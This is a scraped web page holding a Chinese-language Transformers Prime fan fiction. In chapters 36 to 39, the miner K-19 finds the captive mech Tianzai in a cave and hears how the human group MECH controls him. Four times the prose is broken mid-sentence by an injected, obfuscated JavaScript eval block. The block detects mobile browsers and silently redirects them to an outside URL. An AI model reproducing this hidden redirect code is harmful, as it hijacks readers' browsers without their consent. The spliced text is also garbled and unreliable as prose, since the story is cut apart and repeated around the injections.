领袖半跪了下来,平静而柔和的目光透过四百万年的光阴和人类平视,他向人类做出自己的选择。 “我们会的。” 他低语,以一名领袖的身份做出承诺。 “很好。”富勒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15036509|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松了口气,人类身上一直绷着的那根筋终于松懈了下来,他的肩膀垂了下来,泛着光芒的眼睛闭上了,整个人如同瘪掉的气球,身上的疲惫再也无法隐藏。 手掌缓慢而麻木地落下开关。 屏蔽器关闭,富勒特工身上的联络器立马响了起来,他接上通讯拖着沉重的步伐坐上了通往停机坪的电梯。 “是的将军,我们检测到了霸天虎的信号……” 剩余的话语淹没在厚重的墙壁后,而领袖支撑着自己重新站起来。 “所以这就是一切了?” 杰克选择着措辞,“我们继续巡逻,找机会抓住他?” “在我们找到机械党的信号前,恐怕我们别无选择。”阿尔茜说。 “总会有选择的,”领袖看向他们,用自己的存在安抚每个人不安的心情,一如既往,“一旦我们发现他或者机械党的踪迹,我们就会出手。” 拉菲扬起了一个非常小的微笑,“我也会帮忙的,我的黑客技巧也许可以总结出天灾的巡逻路线,他总会留下能量信号对吧?” “是啊大家长!我们不会让这么酷的一个机甲独自一个人受苦的!”美琪跳起来碰了碰领袖的腿甲。 “我相信你们,”领袖笑着,心底的声音逐渐小了下去。 他会做出正确的选择。 “话说回来,救护车在哪里?”隔板笑了几声,像是才注意到他们的领袖卫队少了最重要的医官大人。 “嗯?救护车?”美琪扭过头,“他说基地仓库里有什么什么零件,一大早就进去了!” “他好像在制造什么东西,”拉菲补充,“但我想……”他应该快出来了。 话音未落,大夫已经拿着一把形似剪刀的东西重新回到了大家的视线范围内。 “你们在这儿!”救护车高亢的声音冲散了刚刚的沉重气氛,他手中的东西也进入了所有人的视线范围。 “救护车你拿的是……哇哦,我没想到你还留着它。”隔板率先认出了那个东西,不安地捋了捋自己手臂上的漆。 “那是什么?” “额,一种手术工具,但我们很少用到它。” “额,并没起到什么帮助,大家伙!” 阿尔茜叹了口气,承担了解说的作用。 “那是赛博坦科学家用于脑科手术和机甲修复技术的功能钳,我和……飞过山从震荡波的实验室逃离时偷出来的,他用这个东西实施他的活机试验。” “怪胎。”隔板也暗骂了一句。 “没错,但它的作用不止于此,”救护车自信满满地激活了它,隔板和大黄蜂都不着痕迹地试图离他远些,“经过改造,准确来说是最顶尖的医生的改造,也就是我的改造之后,它还可以作用于让机子陷入暂时的停滞状态!” “这意味着?” “下次你们再遇到那个小混蛋,可以使用这个功能钳,这会让他眩晕一阵子,但也会给他造成一些麻烦。” “太好了救护车!”拉菲兴奋地大喊。 “当然!”救护车拍了拍自己的胸甲。 “这真是……相当贴心。”领袖也露出了一个小小的微笑,为救护车的心意,他知道他本可以不做出这些努力。 基地内的一切早已经让救护车也精疲力尽了。 然而他不得不为救护车的好消息而感到开心。 “他毕竟是你的小火种,”救护车看向他,脸上的神色奇迹般地再度让领袖内心的焦虑退居一隅,“但功能钳毕竟是医疗工具不是攻击武器,取决于天灾的装甲性能,它可能只能让他眩晕几秒甚至更少的时间,你们要谨慎选择使用它的时机。” “这把功能钳已经不是新东西了,使用一次后你至少需要让他冷却十分钟。” “已经足够了救护车。” “谢谢你。”领袖真诚地道谢。 “不用说谢,我们已经认识很久了。” 他的老朋友掩盖光学镜中的乌青,笑着安抚他。 “这只不过是微不足道的小事。” 是的,擎天柱知道他会做出正确的选择。 哪怕是为了他们。 领袖卫队人员与孩子们的笑容一一从他的处理器划过,他转过身走向自己的休息室。 36.别再假装无事发生了! “天灾?” 量产机谨慎的呼唤声从通讯器中传出,随之出现的是一连串仿佛没有任何意义的乱码。 然而霸天虎的任何一架量产机都不会错过这条消息,这种混杂着赛博坦语言与特殊编码的乱码实际上是他们基于自身在战场上的信息接收程度自行编纂出来的独属于量产机的语言。 他们的先天机体条件不止限制了他们的成长上限,同样也使得他们在高强度的赛博坦战争中陷入了劣势。 量产机的CPU根本跟不上瞬息万变的战场形势,任何一条无法理解的信息都可能是他们死亡的可能性,然而求生是每个生命的本能,为了确保在战场生存下来,他们必须要跟上军队中长官下达的各项命令,为此,通过声波长官手下的量产信息兵将命令转换为这种语言再传递至更下级的量产机,信息就可以被更多的量产机的CPU理解,是一种高效且简单的交流方式。 对于不熟悉这套语言的机子来说这些乱码可能更像是量产机低级的CPU产生的数据混乱,然而那辆小油罐车在K-19和K-75对他进行“教学”后也很快学会了这种特殊的“语言”,绝不会产生任何误解。 在之前的联络中那辆小油罐车从未忽视过他们的通讯。 然而这次不同,K-19等待了一会儿,通信器那一头的机子依然没有任何回话。 仅靠几盏矿灯照亮的昏暗洞穴中,几架小飞机靠在一起,如同鸟巢中的雏鸟一般紧紧挤在一起,被簇拥在最中间的就是正在和天灾进行通讯的K-19。 无法动弹而躺在地上与坐在周围的机子也尽可能地向他那边倾斜着身子。 K-19将通讯器开到了最大声,随着询问和对面传来的令人不安的沉默K-19的机翼也逐渐下落,身后的几个机子和他交换了几个眼神,光学镜中也满是担忧与疑惑。 自上一次通讯后他们足足有四天没有再和天灾进行任何联系,小油罐车在上次见面时保证会帮助他们从汽车人处寻到帮助,K-19不能说自己和其他的量产机子们没有从中得到希望,但是那不是他们这次联系天灾的原因。 他们进行例行联络的时间本应在两天前,这个时间节点还是天灾自己定下的,一方面是小油罐车想要确认所有人的伤势状况以确保他的“好点子”能够顺利实行,另一方面则是K-19想要确保这架幼生体的身上没有再填上新的伤痕。 然而那一次他们的通讯器中只传来了油罐车气息不稳的置换声,随即就被迅速挂断了,他们连一句问候都没能发出来。 K-75告诉他那可能是因为天灾在执行任务,毕竟现在还是战时,以天灾的身份,他不可能不被卷入其中,再有不安他们也最好等到那辆小油罐车主动联系他们。 可是这已经是第二次了,量产机们敏锐地察觉到了不对劲,天灾一向对许下的承诺很看重,一次错过联络可能是因为任务,两次就一定是出了什么事,他们只希望那辆爱逞强的小油罐车一切都好。 不是只有K-19一个人察觉到了那辆小油罐车身上异常的伤势。 “天灾,你还好吗?”K-19犹豫片刻还是选择继续。 “我只想知道你那边是不是一切都好,我们都很担心你。” 依然没有回应,K-19看了眼身边坐在地上的K-75叹了口气。 “K-75就在我旁边,他也很想和你对话……但是他现在的锈蚀情况有点儿严重,我不确定他现在还能清醒多久,拜托了,天灾,起码告诉他你没事,他很担心你。” K-75歪了歪头,他下半身的那条伤腿的确已经因为严重的锈蚀情况而让他的机体陷入瘫痪状态了,但是他的CPU可还清醒着呢! 他坐在地上默默调高了几度自己的光学镜的亮度以向K-19表示自己的不满但也没有出声拆穿这个显而易见的谎言,K-19歉意地向他微微点了点头。 不知道这个点头被K-75误解成了什么但量产小飞机显而易见地更生气了。 K-19不得不给他发了一条内线,然而他知道,如果K-75得不到治疗,一旦锈蚀进一步腐蚀他的机体,K-75陷入昏迷只是时间问题。 那并不是谎言,而是未来。 但那不是他们现在要担心的问题。 他耐心地等待着那一头的小油罐车给出回应,良久,通讯器中才传来天灾沉闷的回应。 “我……”话一开口,那边的小油罐车自己就察觉到了不对劲,再次闭上了发声器。 这时候关闭发声器也没用了,那道干涩沙哑的声音已经传递到了K-19的音频接收器中,混杂着噪音的音频数据根本不复他们第一次见面时小油罐车嗓音中的清亮,贴在他耳边的K-75一下子愣在了原地,K-19也愣了一瞬,随即沉重的担忧立刻占据了上风。 量产机的CPU中运算出了几个解决方案,然而飞行单位连看也没有看,他选择了最直接的那条路径。 “天灾?”他迅速起身,“我可以去找你吗?你听起来不太好。” 几架还能行走的机子焦虑地走到他身边想询问通讯那头的小油罐车,然而还没出声就因为K-19的手势而停了下来。 “发生了什么?”K-19尽可能低缓的询问,他只希望自己嗓音中的慌乱没有传到天灾和其他倾着身子正在偷听的机子的音频接收器里,他现在最不想做的就是加剧现在的情况。 好在这次通讯那边的油罐车意识到逃避已经没用了而没有持续沉默。 他清了清发声器,虽然还有些沙哑但勉强能够听出原本的音色了,“我没事,你不用……过来找我。” “我听得出来,天灾。” K-19严厉的语气止住了油罐车嘴里还未说出口的谎话,天灾下意识将“我没事”这几个字吞了回去,哪怕是他们第一次见面时这架飞行单位也没有用这样严肃的声音和他说过话。 “你不好,天尊在上,不要再假装无事发生了!” “你知道你现在听起来是什么样子吗?你糟糕透了,我们都很担心你,而你撒谎并不能让一切有任何改善!” K-19此时已经走到了矿洞口,做好了起飞的准备,他缓和了语气,小心翼翼地开口,“你现在不是独身一个人。” “你的事情不再只是你一个人的麻烦,我可以……” “帮忙吗?”油罐车猛地带着些戾气地回应,砸地声也随着他的话语从通讯器中传出。 “你要怎么做,帮我对付威震天吗?” 尖锐的敌意夹杂着伤人的话语从天灾的发声器中传到那个唯一告诉他可以提供帮助的机子的音频接收器中,油罐车发出低沉的咆哮声,这次却是对准了自己。 通讯恢复了沉默,一时之间只剩下了两个机子安静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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月光透过洞穴的缝隙撒在他的外装甲上,明亮的星空在这无人地带肆无忌惮地闪耀,然而唯一能够看见它的人无心欣赏。 “对不起,我知道你只是想帮我,但我现在……真的没办法见你们。” 他调出自己在四天前执行任务时从塞拉斯手中得到的坐标,即使是想到那个男人的名字都已经足够引起他的油箱一阵痉挛,“告诉K-75我很好,汽车人那边我已经找到办法了,只要再坚持一下,我保证你们都会得到妥善的照顾的。” “我很抱歉。”他再次道歉,语言中的疲惫再无遮掩地传递到K-19的接收器中,提醒他如今这辆油罐车已经精疲力尽了。 油罐车垂头等待着通讯那一头的责骂、怪罪又或者任何可能的反击,然而通讯依然沉默。 不安在他的火种中蔓延,他没有再进行呼唤,随即他意识到——K-19刚刚关掉了他们的通讯器。 他摸着自己的听觉天线,量产机们给予他的通讯器就安装在内里,他小声苦笑,对这种结果意外却又在他的意料之中。 没有人有义务原谅你所犯下的错误,这就是最简单的道理。 他叹下一口气,仰起头告诉自己: “没关系,只不过是回归始点罢了。” “不用担心,我会遵守我的承诺,你们会活下去的。”塞拉斯给予的那组坐标被他标记入了CPU的运行模块中。 他自言自语,关闭了通讯器。 洞穴再次陷入令人恐惧的寂静。 直到一道声音响起。 “找到你了。” 闭目的油罐车猛地睁开光学镜,只见洞穴口站着一架熟悉的飞行单位。 37.嘘,你在这里很安全 K-19气喘吁吁地站在洞口,月光为飞行单位深紫色的机体蒙上一层浅霜,尚未归位的零件发出沉闷的咔嚓声,引擎在隆冬的气温下散发出一圈圈热气,他重重置换出一口浊气,猩红的目镜照出了油罐车惊惧的表情。 “找到你了。” K-19如释重负的声音淹没在自身散热系统的轰鸣中,直到在洞穴中看到那辆熟悉的地面单位的影子,量产机紧绷的机翼才缓缓垂了下来。 “什……” “但是怎么……” 天灾因为飞行单位突然的出现而呆愣在原地,逻辑模块胡乱地吐出些不成语句的单词,眼角清洗液的痕迹如同油罐车脸上尚未消化的情绪一般无从隐藏,此时哪怕是最缺乏观察能力的机子也能感受到他周身紧缩的磁场所散发出来的不安与悲伤。 K-19费了些力气将机体的过热警告从自己的光学镜前强制压了下去。 他这种劳工级别的量产机的维生系统本就不是为了战斗而生的,刚刚的全速飞行差点儿让他的变形齿轮连同全身的能量管线一同崩毁,他不得不站在原地先让自己的系统恢复到正常阈值才能移动。 光学系统在调整间适应了洞穴中昏暗的光线,矿机的光学镜微微收缩将洞穴的全貌呈现在了K-19的系统之中。 洞穴本身并不大,但不属于霸天虎所标记的任何一处未开发或开发完成的矿洞,内部除了天灾四周不自然的划痕外不存在任何人工开凿的痕迹,所以这一定是油罐车自己找到的天然矿洞,不存在任何“四通八达”的岔路,但胜在深度较大,此时大型机的机体就蜷缩在洞穴最晦暗的角落,深色的涂装促使他与所处的黑暗融为一体,如果不是身体上正在闪烁的生物光带,没有人会察觉到这处狭窄的潮湿洞穴内还存在着一个活着的生物。 K-19第一次感谢自己是一架矿机,不然即使是他也难以在这么短的时间内找到这辆和环境融为一体的油罐车。 他皱着眉看着天灾,内心的疑问不断冒出,小油罐车缩在里面依然一动不动,可即便在洞口K-19也能看见他肩甲上、腿甲与头雕上落的灰尘。 他在这里待了多久?在这期间他有没有补充能量?他受伤了吗? 以及,到底发生了什么? K-19的脑模块几乎被自己的担忧所填满,直觉告诉他一定有什么东西伤害到了天灾以至于这架高傲的幼生体甚至有那么一瞬间丢掉了自己的理智与矜持,可不管他扫描几遍,油罐车的外装甲上都没有任何伤口,就连一丝划痕都不存在。 K-19怎么也没办法欺骗自己说那辆精神紧绷的油罐车一切都好。 通讯时天灾的状态明显不对劲,他知道天灾不是那么容易被击垮的机子,但如果这真的发生了,那一定是一件已经超出了天灾处理能力范畴的事情。 这也是他第一时间过来寻找他的原因。 如果他放任不管,天灾最后伤害到的只会是他自己。 而K-19只是不能眼睁睁看着一架陷入麻烦中的机子自生自灭,这也是他让自己陷入如今不得不过着偷偷摸摸三点一线生活的原因,但他不会悔改的,不然他也不可能救下K-75,更不可能遇见这辆小油罐车。 他已经为此暗自感谢自己这该死的习惯很久了。 洞穴深处,天灾徒劳地张张嘴却没说出什么像样的话语,理智在寒风的呼啸中回归,眼中的情绪逐渐收敛,最终他将泄露出的脆弱与崩溃尽数藏在了冷漠的面具之下。 “你……你是怎么找到我的?”油罐车的嘴巴开合几次最后干巴巴地问,嗓音中还残留着一丝沙哑,他强迫自己舒展蜷缩的机体,希望能让眼前的机子不要再将更多的注意放在自己身上。 然而这种假象显然无法欺骗已经摸清了天灾性格的K-19。 有时候这辆难搞的地面单位就像地球上的猫咪,你感觉已经和他建立起了一些亲密的关系,仿佛你已经得到准许去触碰他柔软的腹部,抚摸他立起的耳朵,但是一旦你真正伸出了手掌,他就会立刻跑开。 就像此时此刻。 而K-19不可能让天灾再缩回自己给自己铸造的壳里去。 不远处的油罐车尝试站起来让自己的话更有说服力,然而他的机体显然再次违背了他本人的意识,哪怕是领袖级别的机体在几日的疏于管理后也会出现运行方面的故障,天灾发出一小声懊恼的咕哝,K-19抓住这个机会,在天灾第二次开口前走了进来。 寒风顺着飞行单位的动作吹进洞穴中,外面下起零星的雪花,落到K-19身上又因为引擎的余热而融化为一片又一片不体面的水渍。 擅自迈腿进来的飞行单位理所当然得到了油罐车的警告,天灾下意识将机体蜷缩了起来,同时发出了低沉的咆哮声。 这并不奇怪,考虑到他其中一位sire也时常发出类似的声音,而那远比油罐车的声音要有更多的恶意,威慑感也更强。 只不过威震天的咆哮更像是“我要把你的头雕拧下来再把你扔进焚化炉”的死亡宣言,而天灾的则更像是“你再靠近,我就会离开”的无言威胁。 K-19想自己会习惯这些的。 小油罐车依然警惕地看着他,手臂上的臂刃泛着寒光,K-19毫不怀疑如果自己再做出什么举动天灾就会放下最后的理智立刻攻击他。 他听从了警告,没有再靠近,这让天灾放下了挡在自己与K-19之间的武器。 他停在距离小油罐车一臂宽的地方然后坐了下来。 这再度让天灾的磁场紧绷起来。 “我来这里只是想确认你的安全。”K-19用尽量平缓的语气说,希望自己不会再刺激到已经强撑到极限的小油罐车。 然而即便如此,他依然能够感受到天灾周身的磁场正在不断排斥自己的频率,甚至让他的外装甲都感受到了轻微的刺痛。 他深深置换了一口气,让自己的磁场呈现出无害且柔和的姿态,尽管这会让天灾尖锐的磁场对自己造成一些疼痛。 “地球的冬季会冻僵我们的线路,我想过去的几天你一定很难熬……” 他思索着自己的资料库,希望从中能找到一些更适合此时此刻的话题。 人类在这种时候会问什么? “……你有没有吃过什么东西?”他试探性地问道,同时思考着有什么东西能够暂时转移小油罐车的注意力。 记忆库中的确有几个老兵曾经告诉过他一些地面单位会对飞行单位的机翼有奇特的关注,那么现在也许是时候验证一下真假了。 量产机的机翼没有搜寻者机型或者其他高级军官那样引人注目,但是如果K-19想,它们依然可以是最灵活也最反映出机体主人心情的工具。 深紫色的机翼顺从地垂在K-19身后,随着他的话语而微微颤动,而他满意地看到那辆小油罐车的目光正不由自主地跟随他的动作注视着那双翅膀,天灾周身的磁场也没再对他进行攻击了。 这是个好现象,对吧? “在这颗贫瘠的星球上寻找超能量体不太容易。”他一边说着一边从自己的子空间中取出了一块精炼好的能量块。 地面单位在他的目光下犹豫着接了过去。 “K-75昨天还和我说他想教你怎么在矿洞中找到最多的能量晶体矿,”他轻笑一声,“但是你今天也没有进行联络……K-75吓坏了,一定要我联系上你才行,他说,你还是一架刚上线没有两个月的幼生体,谁知道你会遇到什么。” “也许是红蜘蛛。”他模仿着K-75的语气,如愿看到天灾身上的磁场松了下来。 “K-75之前是矿场的负责人之一,红蜘蛛算是他的顶头上司,而被红蜘蛛斥责的感觉真的很不好,所有的矿机都害怕他。” 他笑着说:“包括我。” “……我只见过他一面。”油罐车接话道。 “那你很幸运,”K-19哼哼了一声,“红蜘蛛可以说是你能遇见的最可怕的噩梦。” 他思考了一下。 “之一。我忘了威震天陛下。” “当然在战场上遇见威震天陛下绝对会是任何机子最深的噩梦,但战场外也很噩梦。” 天灾适时投过来疑惑的目光,K-19解释道:“威震天陛下的集体讲话。” 他耸耸肩膀,“那很无聊,大多数时候他只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15068207|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是滔滔不绝地诉说着擎天柱,我们听不懂他是想要绑架他还是想要杀了他,但好在我们只要在会议后接着挖矿就好了,战略部署是其他长官需要从那段讲话中琢磨出来的事情。” “你知道吗?我们其实还开过赌盘,一些老兵热衷于赌威震天陛下和擎天柱领袖是否是火种伴侣。” “但是没有人赢过。” “因为没有人有胆子真的去问。” 小油罐车发出了一声轻笑,但依然保持着警惕的姿态,K-19此时发现那更像是一种潜意识的自我防御,一种被激发的自我保护机制,这让他的火种微微沉了沉,这颗星球上除了霸天虎与汽车人,很少有能直接威胁到赛博坦人的东西,根据K-19所知几乎是没有。 更何况是针对天灾这具几乎化为活体武器的机体。 他将担忧隐藏在眼底继续说道,“……刚刚的通讯我可能太心急了,但我只希望你知道,我没有生你的气。” K-19希望自己的话题没有太突兀,他此时最不希望的就是让这辆油罐车展露出更多的攻击性。 油罐车将目光从他的机翼移到了他的面甲上,微微点了点头。 这让量产机受到了鼓舞,“我只是很担心你。”他低声说,没有注意到自己往油罐车身边蹭了蹭,飞行单位的机翼触碰到了大型机的扰流板,天灾微不可察地缩了一下,但没有躲开。 “你听起来……吓坏了。”他靠在石块上,头雕微微后仰。 即便没有得到回应,K-19依然絮絮说着,飞行单位散热系统的运作声压过了地面单位的轰鸣,给静谧的山洞带来了一丝安逸。 天灾发现自己从飞行单位发出的嗡鸣中找回了平静。 “我只在很少的机子上感受过那样的情绪,而那都不是什么很好的场景……你知道,K-75是我从一场矿难中救回来的对吗?” “作为一架矿机,矿坑坍塌是我们最不想面对的事情,然而这是无法避免的,加固矿洞就得浪费挖掘的时间,而没有时间就无法完成长官给我们的指标,我们总得从中选择一个。” “K-75和我所在的矿场已经是我们加固的最好的一个矿洞,然而当崩塌开始的时候,我们依然无能为力。” 这架在天灾面前从未显露过脆弱的机子终于流露出了一丝压抑的痛苦,“我只来得及抓住离我最近的K-75,当我和他回头看的时候才发现,坍塌的压力引爆了裸露的能量晶体,五十米的矿坑,所有的机子都被掩埋在了下面。” “他们残缺的机体从石块的缝隙中伸出来,有的机子还保留着死亡前求生的姿势,他们的机翼和车轮散落在地上,能量液和爆炸的味道混合在一起,简直令人无法忍受。” “我和K-75试图从碎石里找到幸存者,我看到我的朋友在哀嚎,我想把他从石头里拽出来,但是我抓住他的时候才发现,他和其他几架机子已经被融化在一起了。” “我不可能把他救出来,而我的朋友……他在意识到这点后恳求我杀掉他。” 他轻喘了一下,压下了油箱的抽搐,“我和K-75在矿场上等了两个小时,直到我们错过了例行的查岗联络,打击长官才发现我们发生了矿难,红蜘蛛长官在第二天巡视时才发现我们失去了整个A区矿场。” “声波长官给我们开启了传送门,但K-75的腿受了伤,他回去后也不一定能得到照顾,所以我把他留在了地面。” “但即便是我把他送到了其他人所在的地方,K-75依然无法进入充电状态,他告诉我他一闭上眼,就能听见其他机子临死前的哀嚎。” K-19轻声说,“我也一样。” “而我从你的通讯里听到了同样的惊恐,我没办法对此坐视不管。” 他微微侧身,让天灾意识到此时这架特殊的量产机正全神贯注地看着他。 “所以,别再假装无事发生了,起码让我知道我该怎么帮你。” 量产机的面甲被流水线上铸造的装甲所掩盖,然而天灾依然能够从他的磁场中感受到真正的关切。 这种感觉是……全然陌生的。 战术口罩下,油罐车咬紧了下唇,微微点头。 38.你已经很努力了 “我……会的。” 天灾的发声器依然有些沙哑,但听起来已经没有了通讯中所显露出的恐惧,K-19微微松了口气。 他重新靠回岩石上,头雕凝视着洞外的月光,天灾等待着他再度向自己开口,然而K-19却不再追问了,只是静静陪着小油罐车坐在一起。 一时之间,这座狭小拥挤的矿洞再度变得安静起来。 不知为何,这片熟悉的寂静竟然开始让习惯了独自一个人的小油罐车感觉到难耐。 细长的听觉天线微微抖动,唯一能捕捉到的声音是他和K-19身上交织在一起的置换声。 飞行单位大功率引擎转动的微小声音不知为何抚平了他心中的毛躁,他甚至没有注意到自己的机体随着K-19的置换频率逐渐放松了下来。 良久,直到天灾身上的磁场不再如实质一般紧缩而是再度化为微弱的电磁粒子缠绕在小油罐车的外装甲上时,天灾才主动打破了这片宁静。 “……我还以为你会继续追问我发生了什么。”他小声开口道。 “我想我们今天已经有足够多的疑问了,”K-19头也没回,“如果你真的不想说,我不会强迫你。” “你经历了很坏的事情,而你所需要的可能不是我所能实际提供给你的,你只是需要有一个人可以陪着你度过这样糟糕的时刻。” “这就是我在做的。” “答案并不重要。” 两个机子谁也没注意到彼此的机体此时已经挨在了一起。 K-19继续说道:“而我会把这个问题留到你愿意说的时候。” 深紫色的飞机在谈话间已然收敛好了自己在回忆时所暴露出的痛苦,声音再度恢复了往日的活力。 霸天虎的量产兵没有被铸造出具体的五官,作为矿机的K-19面甲上更是唯有两道狭长的光学窥视孔以帮助他们检测土层中的能量反应,然而天灾却知道此时歪过头来看着自己的K-19一定是在笑着的。 如果天灾还有余力,他会调侃他们两个人有着如此多相似的坏习惯。 比如都把坏情绪压抑在自己心里,又或者他们都不善于向其他人袒露自我,再或者他们都习惯了将所有的事情扛在自己身上,诸如此类。 但他此时没有心情开玩笑,他只是很疲惫,自他钻入这个洞穴起所有被积压在心中的激烈情绪都爆发出了强烈的负面影响。 放松下来后他才后知后觉自己的脑模块到底有多么疼痛难耐。 他微微皱眉,尖锐的指爪扶上了自己的额头轻轻按压却怎么也不得舒缓。 一双陌生的手恰在此时伸了过来,天灾疑惑地睁开眼睛,K-19正半跪在他身后歉意地看着他,“也许我可以……?” 小油罐车微微颌首,虽然有些别扭,但还是默认了K-19的动作。 也许下次他会向他道谢,但现在,还是先让他受罪的脑膜块放松一下吧。 矿机的指爪灵活而有力,一生都在和矿场打交道的量产机显然有着一双善于控制力道的双手,飞行单位身上还带着泥土的气息和引擎的余热,脑模块中的阵痛微减,小油罐车甚至没有注意到自己微微后仰靠在K-19的腿上发出了一阵柔软的呼噜声。 他身后的机子轻笑了一声继续着动作。 天灾过了几分钟才反应过来自己的发声器违背了自己的意愿干了什么,这让他不自然地轻咳了一声,暗自庆幸自己的战术口罩还扣在自己的面甲上。 他不是很想深究自己机体报告中的那个面甲升温意味着什么。 好在K-19一向很善解人意,没有点破小油罐车的窘迫。 他们享受着这种安逸,直到……小油罐车的指爪下意识抚上了自己脖颈上的项圈。 猩红色的光学镜掩藏在油罐车的镜膜之下不安地颤动着,他最终深深置换了一口气,坐直了身子。 K-19也因为他的动作重新坐回了他的身边,这回的距离没有那么远。 “我……”他有些艰难地开口,K-19想要告诉他一切不用急于一时,天灾却挥手制止了他。 “没关系,”他安抚面露担忧的飞机,“这件事情也许我早应该告诉你……你们。” “如果这会对你造成困扰……” 天灾打断他,“不!”意识到语气的激烈,他缓了缓,“这并没有……困扰我,而是我觉得你们有必要知道这些信息。” K-19点了点头,示意天灾可以继续了。 “你上次猜测的没有错,我身上的伤不是我的s……威震天与擎天柱造成的。”天灾抚摸着自己的外装甲。 “是我自己。” 指爪下意识地扣紧了脖子上的项圈,油罐车脖子部分的原生质已经因为项圈中隐藏的顶针而留下了一圈伤疤,伤疤的周围全是已经愈合的他自己的爪子留下的抓挠痕迹,他没有去感知K-19的情绪磁场粒子。 “这个项圈是人类给我戴上的抑制器,”他咽下嘴角的苦涩,“自我上线,一个名叫机械党的组织就在我的机体内装入了控制系统和定位器,这样他们就能让我成为他们最好用的傀儡。” “我不知道自己为什么上线,我的内置系统一团糟,最基础的命令已经被完全破坏掉了,我甚至连自己sire的信息都无法获知,然后我不得不为了保住自己火种的跳动向机械党的首领塞拉斯下跪。” “我尝试在这场交易中给自己争取到了一些……权利,然而那远远不够。” 他压制住油箱的翻腾和几天前塞拉斯给予自己的“通知”,发现说出这件事并没有他想象中那么艰难,飞行单位的磁场一直无形中包围着他,让天灾有了继续说下去的勇气。 “这也是我没办法一直留在这里的原因,他们只给了我有限的活动时间……遇见你们是一个巧合。” “而我不敢冒害你们暴露的风险。” 天灾由衷地感谢K-19所保持的沉默,他也不知道自己希望飞行单位对此露出什么样的反应,但沉默无疑是最好的回应。 “塞拉斯废了很大的力气试图碾碎我的尊严,得到我的俯首,我以为他们想要的是一架向首领‘宣誓效忠’的机甲。” “但是我错得离谱。 “上周……” 他咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15073526|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧了牙关,K-19的手就在这时搭上了他的肩膀,他深吸了一口气继续说道:“那些人类告诉我,他们把我借给了另一批‘需要我’的人。” “「天灾,你之后的归属权将暂时由人类军方所有」” 他的话语中带上了讽刺。 “那甚至不算是一个询问,而是通知,告诉我让我当一件好武器,好像我只是他向某个人借出的一本书、一块数据板……” “我所做的一切想要摆脱他们的努力都只不过是一个笑话,我以为我在他们的基地中起码拥有基本的被视作‘单独个体’的权利,然而我在他们眼里甚至不算是一件趁手的工具。” “我在他们眼里是可以被随意租借、随意使用的‘thing’。” “我始终只是他们口中的「slave」,”天灾痛苦地捂住了自己的头雕,“然后……他们告诉我,我现在属于军方所有,多好笑啊,我甚至不拥有我自己机体的使用权。” “他们还在透过我自己的光学镜看着我吗?什么时候他们决定要再次测试我的‘攻击性’?什么时候我会一睁眼发现自己就身处战场的中央,手中沾满了同胞与人类的血?” 油罐车的情绪随着他的话语再度变得不安稳起来,飞行单位不得不打断他避免他再度沉浸入自己的情绪漩涡中。 天灾颤抖着闭上了光学镜,K-19犹豫着还是抬起手掌,抚上了地面单位的听觉天线,油罐车的磁场显而易见地平复下来了,而天灾本人似乎并没有意识到这点。 他的语气带着微不可查的颤抖,却异常平稳地说:“他把我借给了其他人,就好像,我只是一个无关紧要的物品。” “然后……我只是……崩溃了。” 他自嘲地笑:“我自以为是的忠诚对于他们而言不值一提,我以为我掌握住了自己的命运,我以为我把一切都控制在自己手里,然而最后我才是那个小丑。” “我一无所有。” “我躲在这里,一度希望他们能引爆我脑袋里的那枚炸弹,起码那样他们得到的只会是一架失去所有利用价值的尸体。” “而我现在还活着,只不过是因为人类军方害怕我会让他们的基地暴露,强迫机械党关掉了我体内的定位器和光学镜视频同步仪。” “哈……” 他疲惫地闭上了光学镜。 “多可笑。” 黑暗成为了他光学镜中唯一的色彩,他关掉自己的视觉系统更像是在逃避K-19光学镜中的怜悯、同情…… 饶了他吧,他此时最不需要的就是同伴的共情。 然而他身侧的那架飞机一句话也没有说。 黑暗中,他感觉到矿机的手握住了自己的手,用坚定却并不强势的力气掰开了他已经攥入掌心的尖锐爪子。 他轻轻握住了天灾的手。 “你已经很努力了,这不是你的错。”K-19的轻语随着掌心的温度传入小油罐车的CPU中。 那架一直强撑着的原生体终于允许自己泄露出了一丝脆弱。 “嗯。” 带着哭腔的尾音迷失在油罐车引擎的悲鸣中。 39.这好吗?这不好吧。这不好……吗? 天灾放任自己沉浸在这种悲伤中,直到他确认自己已经“恢复正常”。 他缓过神来的时候,K-19依然用那副担忧的表情看着他,开放性的磁场中满是柔和的情绪粒子。 “感觉好一点了吗?”K-19轻声问。 